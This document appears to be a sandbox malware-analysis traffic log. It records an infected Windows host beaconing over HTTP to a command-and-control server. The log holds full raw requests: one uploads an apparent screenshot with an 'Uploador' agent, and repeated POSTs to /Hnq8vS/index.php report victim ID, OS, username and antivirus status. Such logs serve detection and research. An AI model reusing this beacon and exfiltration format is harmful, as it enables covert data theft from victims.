Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.5	49864	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:05.190736055 CEST	3098	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:05.285352945 CEST	3125	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:05.378436089 CEST	3152	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:05.378544092 CEST	3173	OUT	Data Raw: 1e eb b7 11 c3 a2 f8 3e fe 79 5b ee 6d b3 6d bf f7 d7 dd af 42 d2 fe 2a eb 1a 7e d4 d2 b4 8d 3e d9 3f ba b0 6e af 59 f8 3f f1 2f c7 1a a6 a9 07 fc 4c 42 0d eb fb b8 e2 db b6 be 77 35 cf 73 7c 1d 19 4e 95 28 fd e7 bf 91 53 cb f3 6c c2 38 6a b5 a5 Data Ascii: >y[mmB*~>?nY?/LBw5s\|N(Sl8jvGxB\|%_7~5\|rt(m}\|bU'&MgFk_m>vbEX_/MWG.#pf_Rrj#{y>&\|p&fUl7k?>
Apr 28, 2021 23:23:05.378709078 CEST	3178	OUT	Data Raw: 8a 3f d8 4f e1 94 29 d5 a5 27 ff 00 1d af cc c8 c7 99 a9 c2 bf de 95 7f f4 2a f8 0e 0d ff 00 92 76 af fd 7c ab ff 00 a5 48 fe a0 cd 7f e4 69 47 fc 14 bf f4 94 7e ce 7c 78 1e 5f ec dd f0 99 31 ff 00 32 f4 7f fa 29 2b c5 3e f4 9f 3d 7b 7f ed 09 fb Data Ascii: ?O)'*v\|HiG~\|x_12)+>={?mT?OJgG_P-r-"{)~kOG+"V6VR9{>7NDmU_c#6[}G}kR;?>zQEkB
Apr 28, 2021 23:23:05.471456051 CEST	3189	OUT	Data Raw: be ff 00 bf e2 a4 8f f6 a5 d2 59 bf e4 1b a8 ff 00 df d5 a9 fe d4 c0 7f 39 1f ea 5e 77 fc 9f d7 de 7b c7 fd f3 4f 8c bf fc f4 af 0b ff 00 86 a3 d1 f6 ff 00 c7 8e a1 ff 00 7f 56 96 3f da 97 46 fb ff 00 60 be ff 00 bf ab 4f fb 43 03 fc e6 5f ea 66 Data Ascii: Y9^w{OV?F`OC_fwzS^SqRGS\|i}fv?gxV?}}LoZ>cpvz5>y~ZeX.AL1R0q@?=G{k
Apr 28, 2021 23:23:05.471515894 CEST	3207	OUT	Data Raw: 3d 99 a2 a8 87 db ae ee 6a 4f 2b fd 9f d6 9b 6e bf 37 15 69 e3 f5 ad 23 13 09 ca d2 23 8f e6 22 a5 58 ff 00 79 d6 84 8f 6b 66 a5 ff 00 96 95 bc 62 63 29 09 1c 75 66 18 fc cd a3 1d 2a 24 50 4e 3b 55 88 17 6a e6 ba 29 c4 e7 a9 22 27 8c 93 c5 33 cb Data Ascii: =jO+n7i##"Xykfbc)uf*$PN;Uj)"'3U#,QdCj!0<\"(`U#mx\bcRALo;EMV\|V}{Wv5'5NZ^?vZG2ggTmW[d^=MiF+YG
Apr 28, 2021 23:23:05.471625090 CEST	3229	OUT	Data Raw: 3c 67 f1 1d ee c7 8e bc 73 ff 00 09 87 8b ee e3 d3 6d a1 ba d5 35 90 66 2b 71 2c f1 44 b2 ec 56 b8 99 92 00 c2 14 69 19 96 35 6e 6b b4 f0 ff 00 fc 14 2f f6 d0 f0 bf 8b 7c 4b e3 7b 2f 8a 1a 15 f5 ef 8b 7c 4f 6b e2 4d 6e 3d 7f e1 d6 83 aa 5a b6 b9 Data Ascii: <gsm5f+q,DVi5nk/\|K{/\|OkMn=Zo=Zk`N9bYN`U4%dQ#_l)ww~4(q\9!#Yo+.\|^Upw+,fb]>)V>"A~:Qg>Nam
Apr 28, 2021 23:23:05.471854925 CEST	3248	OUT	Data Raw: 7a 07 18 7f cb 3a f4 ef d8 db fe 4e 43 c3 5f f6 f9 ff 00 a4 73 d7 98 a7 5a f5 0f d8 df fe 4e 43 c3 9f f6 f9 ff 00 a4 73 d7 83 c5 5f f2 4b e3 bf eb cd 5f fd 22 47 df f8 51 ff 00 27 4b 21 ff 00 b0 dc 2f fe 9f 81 fd 9b 57 86 7e df 1f 13 fe 25 7c 2b Data Ascii: z:NC_sZNCs_K_"GQ'K!/W~%\|+Ok9xYRk}4{ <ad$,TbgR=4\|j?m~ \|y.}Ww6e?1awpl+M6wVJR_rf_U(r(B')%
Apr 28, 2021 23:23:05.471988916 CEST	3266	OUT	Data Raw: ee 1f ce a2 69 29 af f7 6a 2f 33 da a6 52 2e 31 24 f3 bc c6 e9 52 a7 4f c6 aa 53 b7 9a cb 98 ae 52 76 97 15 14 93 6e a8 e4 92 9b e6 7b 51 cc 38 d3 24 de 69 b4 cc 9f 53 49 59 f3 22 b9 49 29 37 af ad 32 8a 39 91 5c 83 8c 9e 9f ad 36 9b 97 f7 fc a9 Data Ascii: i)j/3R.1$ROSRvn{Q8$iSIY"I)729\6#5rPIh*'=^Ce;>s>cM=yoJ5?[FDJ$^wH~RfTQ"IEi:iSRV`[#9wm43)s
Apr 28, 2021 23:23:05.472138882 CEST	3269	OUT	Data Raw: d4 71 e5 bf 19 fe 04 7c 57 fd 9e bc 55 07 82 be 30 f8 4c 69 1a a5 ce 9e 97 b6 f6 bf 6e 82 e3 7c 0c ef 1a be e8 1d d4 65 a3 71 82 73 c7 4c 11 9f b8 79 7e 23 07 49 27 49 c2 31 d1 7b ad 25 6d 12 db 4f 43 dd 86 3b 0b 8a a9 ee 55 8c a4 f5 d2 49 b7 e7 Data Ascii: q\|WU0Lin\|eqsLy~#I'I1{%mOC;UIdmCQ jM=Zc 'JON!b8E9=?OMpfv7`(^094~c{Pa)q{`#tgF'zn7du

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.5	49863	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:05.198405027 CEST	3098	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	176.111.174.114	80	192.168.2.5	49863	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:05.303738117 CEST	3125	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.5	49865	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:05.509978056 CEST	3269	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	176.111.174.114	80	192.168.2.5	49864	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:05.567585945 CEST	3271	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	176.111.174.114	80	192.168.2.5	49865	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:05.608858109 CEST	3271	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	176.111.174.114	80	192.168.2.5	49724	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:26.096072912 CEST	1577	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.5	49866	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:06.773214102 CEST	3272	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	176.111.174.114	80	192.168.2.5	49866	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:06.883177042 CEST	3272	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.5	49868	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:07.100596905 CEST	3273	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	176.111.174.114	80	192.168.2.5	49868	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:07.202435017 CEST	3273	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.5	49869	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
